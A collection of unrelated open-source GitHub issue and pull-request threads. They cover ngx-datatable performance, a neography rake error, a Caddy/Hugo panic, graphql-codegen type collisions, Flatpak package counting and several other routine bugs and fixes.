Very poor performance with large numbers of loaded cells

I'm submitting a ...  (check one with "x")
[x] bug report
[x] feature request
[ ] support request

Current behavior
In projects using virtual scroll, if the table has dimensions of 20 rows X 20 columns, the performance gets really, really poor when scrolling.
Expected behavior
Having 400 loaded cells in a simple table is pretty light and works with no jank. That's not doable with this table. Ideally, performance would be better with a larger number of cells.
Reproduction of the problem

The demos rarely have more than around 40 cells at a given time. To reproduce this problem, one can go to the virtual scroll section, and just copy/paste a bunch of columns to add more.
Alternatively, in a non virtual scrolled table, having 100 rows with 20 columns, ends up with the same problem with horizontal scroll.

I haven't been able to properly assess the specific cause of the problem. Large quantities of events, too frequent recalcs or something else. I mostly need the fixed headers (both for rows and columns). If the problem is related to heavy processing of stuff that isn't always needed, perhaps allowing to pass an object of options with flags to disable certain behaviors, could help.
What is the motivation / use case for changing the behavior?
Tables with a couple of hundreds of loaded cells are frequently needed when displaying large quantities of data.
Please tell us about your environment:
Windows 10

Table version: 6.3.0

Angular version: 2.9 / 4-rc.2

Browser: [Latest Chrome, Latest Firefox, Latest Opera, Latest Edge and IE11]

Language: [TypeScript 2.1]

Thanks. I checked it out, it's pretty interesting.
So there isn't a more direct way of improving performance?
The large number of columns is kind of an actual requirement for a project. I suppose I could try to suggest doing some sort of column "pagination".
Anyway thanks for the project. I'll try to contribute more (I'm still kind of getting started in these things)

Horz virtual scrolling is really the only way. Its not easy but you should be able to take the blueprint for the virtual scrolling and apply it.

I believe this is at least partially related to #464

Ya, kinda/not really lol. That one is memory leaks, this one is number of dom loaded on wide tables.

You're right, I reread the relevant issues and misunderstood the problem here.
TL/DR for someone just getting here: Enable production mode first.

I've fixed the memory leak issues too so this should be faster.

I solved the performance issue due to large number of cells with Vertical Scrolling.  In doing so I created a new bug.  I change the columns and data based on a users input.  If I scroll through one set of data and then switching to another set of data the table with the new data is not repainted unless I scroll.  I've tried a number of different things to get the table to repaint but have come up short.  Any suggestions?
If not then I'll try again with fixed memory leaks and turn off vertical scrolling.

What change detection strategy are you using? Does one ever update without the other? (As in, columns updating while rows stay the same)
Log your columns and rows on ngDoCheck() to make sure they are actually changing. If ngDoCheck doesn't fire hundreds of times as you move your mouse then it is likely due to OnPush and you can fix it by adding a reference to ChangeDetectorRef and calling changeDetectorRef.markForCheck() after you've updated those values.

The rows and the columns need to change at that same time.  I have a drop down list component that fires an event:
<dropdown #temp1 [values]="lookups" (selectedValue)="onNotify($event)">
In the onNotify I change the array for the columns and then call the appropriate API to retrieve the data for those columns.  Everything was working well with the exception of the slow response for tables with hundreds of rows.  Turning on the vertical scroll resolved the performance issue but created the rendering issue.  I've inspected the ngx-datatable in the browser and all of the new fields are there!  For some reason they are just not rendered unless I scroll the datatable.  If I resize the window so that a horizontal scroll bar appears and then I move the scroll bar the table magically renders.
Are there any examples of how to use the recalculate method?  Or would that not help? I'll look into the ChangeDetectorRef and calling changeDetectorRef.markForCheck().

If you're seeing the rows being added in the page source but not on the page itself then I don't think change detection is the issue. What happens if you set the row heights to a fixed value? I imagine that if your rows are striped you will see the empty rows, indicating that the data of the row cells isn't being populated.

Set the default rowHeight:
    <ngx-datatable *ngIf="scrollbarV==true" #myTable style="height:400px;"
                   [rows]="datarows"
                   [columnMode]="'standard'"
                   [columns]="columnproperties"
                   class='material expandable'
                   [selected]="selected"
                   [selectionType]="'single'"
                   [messages]="messages"
                   (activate)="onActivate($event)"
                   (select)='onSelectItem($event)'
                   [loadingIndicator]="loadingIndicator"
                   [scrollbarV]="scrollbarV"
                   [rowHeight]="50"
                   id="lookupdata">
    </ngx-datatable>

Same issue.  It works beautifully if I just change the drop down list.  I can even scroll one list and as long as I bring the scroll back to the top the change in the requested table works.  It is only when I scroll down, leave the scroll down and then select another table.

I'd recommend opening a separate issue for your bug to make it easier for the Swimlane team to track it. I will attempt to attempt to reproduce myself once I'm not on deadline.

I'm getting laggy but survivable performance on scroll, but I'm loading in about 300 rows with 17-20 columns, and it literally takes about 20-25 seconds to render the table. This is really not survivable.
Is there anyway I can speed up the initial rendering time?? In addition to taking that long, it's also completely locking down the render thread making the page unresponsive in the meantime.
It would suck to have to change components at this point, but if I have to to improve perf I will. :/ Any ideas??

@askdesigners Turning off the vertical scrollbar helps immensely with performance. Though I wish I could leave scrolling on just so it would work a bit more intuitively.

Yes that's what I've ended up with @gm112. It's required for my layout anyways as there's a sticky header with action button above the table.
I will say that rendering performance is still horrific. :/

I have the same issue, I have only 10 columns and 43 rows and grouping enabled. it's super slow and laggy even though I have enabled change-detection and disabled scrollbarV. I also notice that memory usage for painting and recalculating the table is super hight which makes the whole application to be slow.
anyway, thanks for your awesome work, the plugin itself is super awesome.

@mhadaily - Does this occur when you have Angular set in production mode?

@amcdnl Yes. Just FYI, I have deleted all EventListener expect for body scroll, and that helped a lot but it's still very expensive when the table needs to re-render in order to have a new column. Performance on Safari is better but in Chrome, FF and Edge is very poor.
Profiling shows that Event listeners are the most memory and CPU consuming apparently. I don't have ScrollbarV but I do have ScrollBarH. I believe recalculating dims and columns as well as attaching event listeners could cause this issue as I could improve performance by just removing them.  Unfortunately, I didn't have more time to debug more, but I would be more than happy if I can help you guys to understand what the issue is and probably send a PR to resolve it.
Please do let me know if you need more information or help.


Support for RLHF (ILQL)-trained Models

LMs trained with ILQL are not supported by vLLM at the moment. Is this in the roadmap? It looks like it shouldn't be tough to do it.

@simon-mo is this a feature you'd like to see implemented?

Closing as won't do due to low demand


uninitialized constant OS

Trying to use bundle exe rake neo4j:install task gives me the error uninitialized constant OS
> bundle install
Fetching source index for http://rubygems.org/
sing rake (<IP_ADDRESS>)
Using crack (0.1.8)
Using httparty (0.7.8)
Using json (1.6.2)
Using os (0.9.4)
Using rubyzip (0.9.5)
Using neography (0.0.16)
Using bundler (1.0.21)

> bundle exec rake neo4j:install --trace
** Invoke neo4j:install (first_time)
** Execute neo4j:install
Installing Neo4j...
rake aborted!
uninitialized constant OS
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/ext/module.rb:36:in `const_missing'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/neography-0.0.16/lib/neography/tasks.rb:8:in `block (2 levels) in <top (required)>'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:205:in `call'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:205:in `block in execute'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:200:in `each'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:200:in `execute'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:158:in `block in invoke_with_call_chain'
/Users/dnagir/.rvm/rubies/ruby-1.9.3-p0/lib/ruby/1.9.1/monitor.rb:211:in `mon_synchronize'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:151:in `invoke_with_call_chain'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/task.rb:144:in `invoke'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:116:in `invoke_task'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:94:in `block (2 levels) in top_level'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:94:in `each'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:94:in `block in top_level'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:133:in `standard_exception_handling'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:88:in `top_level'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:66:in `block in run'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:133:in `standard_exception_handling'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/lib/rake/application.rb:63:in `run'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/gems/rake-<IP_ADDRESS>/bin/rake:33:in `<top (required)>'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/bin/rake:19:in `load'
/Users/dnagir/.rvm/gems/ruby-1.9.3-p0/bin/rake:19:in `<main>'
Tasks: TOP => neo4j:install

# Rakefile
require 'neography/tasks'

# Gemfile
source 'http://rubygems.org'

gem 'rake'
gem 'neography'

Sorry about that Dmytrii, use version 0.17 and it should work now.  It eve lets you pick your own version.

Wasn't a big deal (I just require-d it manually). No worries and thanks a lot.


chore: avoir trigger version bump for some dependencies

:tada: This PR is included in version 0.7.0 :tada:
The release is available on:

0.7.0
GitHub release

Your semantic-release bot :package::rocket:


refactor(search): refactor autocomplete to use ES search_after parameter

Checklist

[ ] The PR conforms to DataHub's Contributing Guideline (particularly Commit Message Format)
[ ] Links to related issues (if applicable)
[ ] Tests for the changes have been added/updated (if applicable)
[ ] Docs related to the changes have been added/updated (if applicable). If a new feature has been added a Usage Guide has been added for the same.
[ ] For any breaking change/potential downtime/deprecation/big changes an entry has been made in Updating DataHub

Closing for now, may reopen later


panic: runtime error: index out of range

This crash mean much to you?
goroutine 1 [running]:
flag.init()
/usr/local/go/src/flag/flag.go:840 +0x11a
github.com/spf13/pflag.init()
/home/caddy/go/src/github.com/spf13/pflag/uint8.go:91 +0x59
github.com/spf13/viper.init()
/home/caddy/go/src/github.com/spf13/viper/viper.go:1026 +0x42
github.com/spf13/hugo/create.init()
/home/caddy/go/src/github.com/spf13/hugo/create/content.go:165 +0x42
github.com/spf13/hugo/commands.init()
/home/caddy/go/src/github.com/spf13/hugo/commands/version.go:76 +0x5e
github.com/hacdias/caddy-hugo/utils.init()
/home/caddy/go/src/github.com/hacdias/caddy-hugo/utils/utils.go:208 +0x42
github.com/hacdias/caddy-hugo.init()
/home/caddy/go/src/github.com/hacdias/caddy-hugo/hugo.go:135 +0x4c
github.com/mholt/caddy/config.init()
/tmp/custombuild_5197_315274122/src/github.com/mholt/caddy/config/directives.go:52 +0x4f
main.init()
/tmp/custombuild_5197_315274122/src/github.com/mholt/caddy/main.go:174 +0x47
full log:
http://termbin.com/gpms

Hi @jungle-boogie,
Thank you for filing this issue.  Could you please tell us what the steps/commands to use to reproduce this "index out of range" runtime error panic?  Many thanks!

Hi @anthonyfok,
I'm trying to get caddy running with inetd on freebsd and I don't think my inetd service is correct, but I don't think I should see the error.
in my etc/services/:
caddy           2021/tcp # caddy webserver

in my /etc/inetd.conf
caddy  stream tcp nowait.1000 sean /home/sean/bin/caddy/caddy

My Caddyfile:
example.com:2020 {
log access.log
ext .txt .csv
proxy / http://<IP_ADDRESS>:8080 {
proxy_header X-Real-IP {remote}
    proxy_header Host {host}
    }
 }

example.com:2021 {
log access.log
gzip
ext .txt .csv
search
browse
root /home/sean/site
search
}

@hacdias, care to help here?

Hi!
@jungle-boogie where is the hugo directive placed on your Caddyfile? Are you using caddy-hugo?

Hi,
I'm using Caddy with hugo built in with it from http://caddyserver.com/download
Thanks!

But why are you using Caddy with Hugo built in it if you're not using it?

Would that cause the crash?

That's strange. I think @spf13 could help because of what I can see in the error above, the root of the error is in spf13/flag.

@jungle-boogie, if you add the hugo directive to your Caddyfile, does the panic go away?
@hacdias, I suspect that it has something to do with caddy-hugo importing github.com/spf13/hugo/commands, but I can't think of reason why that would cause a panic.

Hi @moorereason,
No, the panic does not go away.
Go to http://jungleboogie.me:2021/ and see the error. If you refresh, you'll notice that everything below main.init() changes between refreshes.
I also see references to blevesearch/bleve

This issue belongs to caddy-hugo.
I'm sorry, but we have to scope the issues here if we're gonna have a chance to handle them all.

Thanks for the assistance, @bep.
I will raise an issue with https://github.com/hacdias/caddy-hugo


fix: history was not being saved when reusing history

Will help us in solving https://github.com/rqlite/rqlite/pull/527

Great! Thank you for reviewing

No problem!


k3s/Docker Examples with unmatching docs

Hi
I'm trying to use the k3s/Docker example from the website, but I have the following problem:
In the main.tf file I have.
module "cluster" {
  source = "git::https://github.com/camptocamp/devops-stack.git//modules/k3s/docker?ref=master"
  node_count   = 1
  cluster_name = "k3s-cluster"
  k3s_version = "v1.22.2+k3s2"
}

and it gives the following output on terraform apply:
 ╷
│ Error: Unsupported argument
│
│   on main.tf line 11, in module "cluster":
│   11:   node_count   = 1
│
│ An argument named "node_count" is not expected here.

How can I declare to use only one node? My terraform version is the 1.0.9.

Hello,
The nodes are specified using the worker_groups parameter, as documented in https://devops-stack.io/docs/devops-stack/latest/references/terraform_modules/k3s/docker.html#input_worker_groups . E.g:
worker_groups = {
  "default": {
    "node_count": 1,
    "node_labels": [],
    "node_taints": []
  }
}


Incomplete Subscriber Data Update

Description
When updating a user's Name, I also attempt to update the corresponding novu subscriber. For example, if I change the user's Name value from foo1 to bar1, I expect the novu subscriber's Name and LastName to be updated accordingly.
However, only the name in the data field of the subscriber gets updated successfully. The LastName remains the same as it was when the subscriber was created.
Steps To Reproduce

Update a user's Name value from foo1 to bar1.
Use the following code to update the novu subscriber:

ctx := context.Background()
subscriberID := *user.ID
subscriber := novu.SubscriberPayload{
    Email:    *user.Email,
    Avatar:   *user.Avatar,
    LastName: *user.Name,
    Data: map[string]interface{}{
        "username":       *user.Username,
        "name":           *user.Name
    },
}
_, err := notifier.SubscriberApi.Update(ctx, subscriberID, subscriber)

Expected behavior
The LastName of the novu subscriber should be updated to the new user.Name value (bar1).
Actual behavior
The LastName remains unchanged, while the name in the Data field gets updated successfully.
Environment

Novu version: v0.19.0
go-novu version: v0.1.2

Additional context
As seen in the code, I am setting the LastName field of the novu.SubscriberPayload object to the updated user.Name value. However, after the update operation, the LastName remains unchanged, while the name in the Data field gets updated successfully.
Screenshot

I would like to add that when I attempt to change the email from<EMAIL_ADDRESS>to<EMAIL_ADDRESS>the update is successful. It seems that the issue is specifically with the LastName field. This additional test indicates that the update functionality works correctly for the Email field but not for the LastName field. Please consider this information while investigating the issue. Thank you.

Hello @KaptinLin,
I am reaching out to inquire about the current status of the mentioned issue. Is it still available for contribution? I appreciate your guidance on this matter.

it's fixed in the new version.

it's fixed


WARNING: Failed to sign package file

While building a package (so far only https://aur.archlinux.org/packages/thorium-reader) it compiles fine, but fails to be signed:
21:47:36 ==> Signing package(s)...
21:47:36 ==> WARNING: Failed to sign package file thorium-reader-2.4.2-1-any.pkg.tar.zst.
21:47:36 rm: cannot remove '/var/tmp/aurutils-1000/build.KITlgmG7': Directory not empty

As stated in the first line, in roughly 3 years of using aurutils this is the first package that fails like this, but it fails consistently. Any other package still builds fine.
I'm not sure if this is the package' fault, but probably not as it was already built at this stage, signing should not be affected by PKGBUILD? Maybe some problem with the build artifact itself?
aurutils.log

Yes, after further investigation it's the package that is broken, sorry for the offtop.


typescript: Code generation fails when a type in the GraphQL schema is a reserved Typescript type alongside usage of a plugin that utilizes that type

Which packages are impacted by your issue?
No response
Describe the bug
We had an instance where a GraphQL schema had a type name on it called Record.  The Typescript type generator generates the following for this:
export type Record = {
  __typename?: 'Record';
  wins?: Maybe<Scalars['Int']['output']>;
};

This causes issues elsewhere in the generated code, as it overrides the built-in Typescript Record type used in the generated Typescript file, which causes Typescript issues.
Specifically, Record seems to be an issue with the following configuration options:
preset: 'client',
      config: {
        documentMode: 'string',
      },

The generated types include:

export class TypedDocumentString<TResult, TVariables>
  extends String
  implements DocumentTypeDecoration<TResult, TVariables>
{
  __apiType?: DocumentTypeDecoration<TResult, TVariables>['__apiType'];

  constructor(private value: string, public __meta__?: Record<string, any>) { // <-  this is the issue
    super(value);
  }

Your Example Website or App
https://stackblitz.com/edit/github-yjyxnx?file=schema.graphql
Steps to Reproduce the Bug or Issue

Run yarn generate.
Observe src/generated/graphql.ts.
Type errors exist on the following:

constructor(private value: string, public __meta__?: Record<string, any>) {

with the error:
Type 'Record' is not generic.(2315)

Expected behavior
As as user, I would expect the GraphQL type generator to not generate types that override Typescript built-ins, and instead rename or suffix types that collide with builtin types.
Screenshots or Videos
No response
Platform

NodeJS: v18.20.3
graphql version: 16.2.0
@graphql-codegen/* version(s): 5.0.2

Codegen Config File
import { CodegenConfig } from '@graphql-codegen/cli';
const config: CodegenConfig = {
schema: 'schema.graphql',
documents: ['src/**/*.ts'],
ignoreNoDocuments: true,
generates: {
'./src/generated/graphql/': {
preset: 'client',
config: {
documentMode: 'string',
},
},
'./schema.graphql': {
plugins: ['schema-ast'],
config: {
includeDirectives: true,
},
},
},
};
export default config;
Additional context
No response

Same thing happens with other reserved JavaScript/TypeScript words. It also occurs with properties of a type like function


is the porject support HBase ?

hiii supersetTeam,
i wish you doing well
i want to use this project with my hbase database, but i didn't find the way how to integrate it
and can i use impala or pheonix as layer in my hbase database ?
thank you

@ISLEMNEDDAR
You can use Superset to query HBase via Apache Drill.  Basically all you have to do is set up Drill to access your HBase installation and then connect Drill to Superset.

At Airbnb we have a Presto connector to HBase. There's also Phoenix that maybe able to do this.

Oh and Kylin?


Mangle option breaks file with non-ascii names

I'm using gulp-uglify v2.0 with an AngularJS 1.x project and it works great IF I pass the option to turn OFF mangle. Here's my exact task:
gulp.task('build:js', function() {
    var concat = require('gulp-concat');
    var uglify = require('gulp-uglify');
    return gulp.src(config.js.src)
        .pipe(concat(config.js.concat))
        .pipe(uglify({mangle:false})) // absence of this option is causing invalid characters        .pipe(gulp.dest(config.js.dest))
});

If I remove {mangle:false} the task still runs without throwing any errors. But when I try to load pages in the browser that use that javascript file... they don't. Weirdly, there are also no errors in the console.
Any ideas what I'm doing wrong?

You should pass the ascii_only beautify option:
var opts = {
  "beautify": {
    "ascii_only": true
  }
};

Alternative, ensure the JavaScript files are being served with the correct Content-Type header that includes the encoding.


cupy.min_scalar_type does not accept cupy.ndarray

>>> cupy.min_scalar_type(cupy.array([1, 2]))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: object __array__ method not producing an array
>>> cupy.__version__
'4.0.0'

Because 0-dim array is not "scalar" in cupy, this might be fixed by returning the input if its type is cupy.ndarray.

This fails for a different reason now when using 6.5.0.
In [1]: import cupy

In [2]: cupy.min_scalar_type(cupy.array([1, 2]))
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-2-31d2cbe4824f> in <module>
----> 1 cupy.min_scalar_type(cupy.array([1, 2]))

<__array_function__ internals> in min_scalar_type(*args, **kwargs)

TypeError: no implementation found for 'numpy.min_scalar_type' on types that implement __array_function__: [<class 'cupy.core.core.ndarray'>]

Any updates on when this will be fixed?

@roshkins Just sent a PR: #7136

Thanks Kenichi! 🙏

Thank you!


try.gitea.io shows unrelated issues and pulls from my issues/pulls page.

Gitea version (or commit ref): try.gitea.io
Git version:
Operating system:
Database (use [x]):

[ ] PostgreSQL
[ ] MySQL
[ ] SQLite

Can you reproduce the bug at https://try.gitea.io:

[x] Yes (provide example URL)
[ ] No
[ ] Not relevant

Log gist:

Description
Related with #931.
It closed via #933 and #935.
But now I see issues and pull requests in my Issues and pulls page (seems like moved from di/issues di/pulls).
Please see below image.

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

Hi, It's duplicated with #931. I have reopened it.


Fix issue 689 (Namespace and attribute nodes are serialized with misaligned indentation)

Fixes #689
Commits

e64d351408fd56f602b73c4c1241e3f5b1e953cc reproduces the problem. (XSLT report HTML)
f67437fa99fc6c6b36bc3dfeec750a114858db33 fixes it.  (XSLT report HTML)

Merging this, for the test is provided and the fix is demonstrated on CI.


Upgrade to spree 3-4, 3-5 and shared address_autocomplete js on front…

…end and backend and loading googlemap api script on required pages

@sawangupta92 no. a new bug has been reported on which I am currently working.


change flatpak package count method

Change the way Flatpak packages are counted to use flatpak list. This way it includes more than just apps (e.g. runtimes, locales, extensions, etc.) and the count is consistent with other tools like neofetch.

This is going to noticeably slow down any front-ends with flatpak installed.
I'd much rather rely on a database, as they are quick to query, instead of calling an external command.

Now it queries both Flatpak directories for packages.
I thought it makes sense to count the 3rd level directories from the database's app/runtime directories since that is where installed versions (branches) of Flatpak packages are located.
That way it counts packages with multiple installed versions properly.
One difference is that this solution returns more packages than e.g. neofetch since the regular flatpak list doesn't include *.Locale packages.

I think we should copy the same package counting logic as
flatpak - what does flatpak list count?... Or could we avoid
all this and somehow use a database file (as with rpm)?
There's a directory that intrigues me, it's empty on my system,
because I haven't installed any packages with flatpak. Could
you maybe explore ~/.local/share/flatpak/db and let me know if
there are any interesting tables in there?

Regular flatpak list counts apps, runtimes and runtime extensions.
flatpak list --all counts apps, runtimes, runtime extensions and locales.
So the way packages are currently queried from the directories would be equivalent to flatpak list --all.
~/.local/share/flatpak/db only contains 3 files for me (background, notifications and screencast) so it seems like that directory is for permissions and not a db of installed packages.

Now it should filter out *.Locale and *.Debug (didn't know those existed but they're also not counted by flatpak list) packages. That means the resulting package count should be equivalent to a regular flatpak list.

ok ouch something went very wrong in that git command...


[Debian][Gnome 3.28.2] Application icons missing

[x] I think my problem is NOT with youtube-dl
[x] I've verified and i assure that I'm running youtube-dl-gui 0.4
[x] I assure that i am using the latest version of youtube-dl
[x] Searched bugtracker
[x] I've read the FAQs file

What is the purpose of your issue?

[x] Bug report

Bug report
After installing youtube-dlg_0.4-1_webupd8_zesty4_all.deb, the only application icon that's appearing is the one in the overview (Windows / Super key). All the others are missing.
What operating system do you use ?
Linux 4.16.0-1-amd64 #1 SMP Debian 4.16.5-1 (2018-04-29) x86_64 GNU/Linux
Gnome 3.28.2
List of actions to perform to reproduce the problem:

Install youtube-dlg*.deb (doesn't matter if via <apt install $path> or <dpkg -i>)
Hit Windows / Super key on your keyboard
Type "you", see the already marked application icon, hit enter and start YouTube DL GUI

What is the expected behaviour ?
After YouTube DL GUI ist started, the application icon should show up on the dock, the application's menu on the top-left corner of the screen and on the ALT+TAB switch panel.
What happens instead ?
After YouTube DL GUI ist started, the application icon doesn't show up on the dock, the application's menu on the top-left corner of the screen and on the ALT+TAB switch panel. Instead the following icon is displayed:

The necessarily needed iconset apparently is installed correctly in the systems default icons/pixmap locations:

You should contact the maintainer of the DEB package.


youtube-dl: use toPythonApplication

Motivation for this change
pythonPackages.youtube-dl should not use buildPythonApplication
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option build-use-sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

cc @FRidh

Success on aarch64-linux (full log)
Attempted: youtube-dl
Partial log (click to expand)
Successfully installed youtube-dl-2018.5.9
/build/youtube-dl
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09
gzipping man pages under /nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09/share/man/
strip is /nix/store/jk6j4lh9v5mvjdbdc35sj0zffhhf6s56-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09/lib  /nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09/bin
patching script interpreter paths in /nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09
checking for references to /build in /nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09...
wrapping `/nix/store/brh44ixrib5w8p96mwx3cwz59ig4f9cs-python2.7-youtube-dl-2018.05.09/bin/youtube-dl'...

Success on x86_64-linux (full log)
Attempted: youtube-dl
Partial log (click to expand)
Successfully installed youtube-dl-2018.5.9
/build/youtube-dl
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09
gzipping man pages under /nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09/share/man/
strip is /nix/store/j75dgadrff2d1fyc4fczmcgqkid2imdx-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09/lib  /nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09/bin
patching script interpreter paths in /nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09
checking for references to /build in /nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09...
wrapping `/nix/store/hbws7g2ffayby9siad2ksavbpabqrapf-python2.7-youtube-dl-2018.05.09/bin/youtube-dl'...

So you just drop ytdl support in bomi and mpv. Why?

It does look a bit weird that the package is called from within python-packages.nix

I can move the expression to pkgs/development/python-modules if you want.


mariadb update failed to persist

the issue come when i update to mariadb 10.2.9, as mysql_embedded.exe not exists on that version.
I think we should use add path environment method as possible

It seems to me scoop should create shim to change MariaDB and MySQL through reset. If you won't install both, you may edit json file in bucket directory, delete creating shim part, and add path then install(I did so).

It happens with mariadb 10.2.10 also. I modified the mariadb.json  locally and removed mysql_embedded.exe and mysql_client_test_embedded.exe from the bin array, and the installation worked OK.

@gnsngck  always did after upgrade


排除上游dns服务器

主adguard的上游DNS服务器配置如下：
<IP_ADDRESS>
<IP_ADDRESS>
<IP_ADDRESS>
我不想同步<IP_ADDRESS>，这个DNS仅限master可以访问到，其它adguard实例是无法访问<IP_ADDRESS>的。期待后续可以做个排除规则。

@Somalia0932 I'm sorry can you please describe your issue in english and provide some more details.
Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

What version of AdGuardHome sync used?
What version of AdGuardHome us used?
How does the configuration look?
What is the error message?

Expected behavior
A clear and concise description of what you expected to happen.
Log Files
If applicable, add log files or json responses from AdGuardHome to help explain your problem.
Additional context
Add any other context about the problem here.

Using google translate seems to work quite well (at least into English)
Exclude upstream DNS servers
The upstream DNS server configuration of the primary adguard is as follows:
<IP_ADDRESS>
<IP_ADDRESS>
<IP_ADDRESS>
I don't want to synchronize <IP_ADDRESS>, this DNS is only accessible to the master, other adguard instances are not accessible to <IP_ADDRESS>. I look forward to making an exclusion rule in the future.

I still do not get the issue here

I believe that @Somalia0932 wants to selectively sync upstream DNS servers, so that they can exclude the <IP_ADDRESS> address. Realistically I think the answer is to just not sync that field and manage it manually.

Yes, this makes sense.
Jusz disable the FEATURES_DNS_SERVERCONFIG=false feature


[TS Migration] Migrate 'ReportUtils.js' lib to TypeScript

Details

Fixed Issues

$ https://github.com/Expensify/App/issues/24927
Tests

[x] Verify that no errors appear in the JS console

Offline tests

QA Steps

Send Money Request
Verify that all things (like removing, editing, displaying) related to Money Request works
Create a chat with 1 user
Verify that all things related to that is working
Create chat with multiple users
Verify that all things related to that is working
Assign a task
Verify that all things related to that is working

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android / native
[x] Android / Chrome
[x] iOS / native
[x] iOS / Safari
[x] MacOS / Chrome / Safari
[x] MacOS / Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
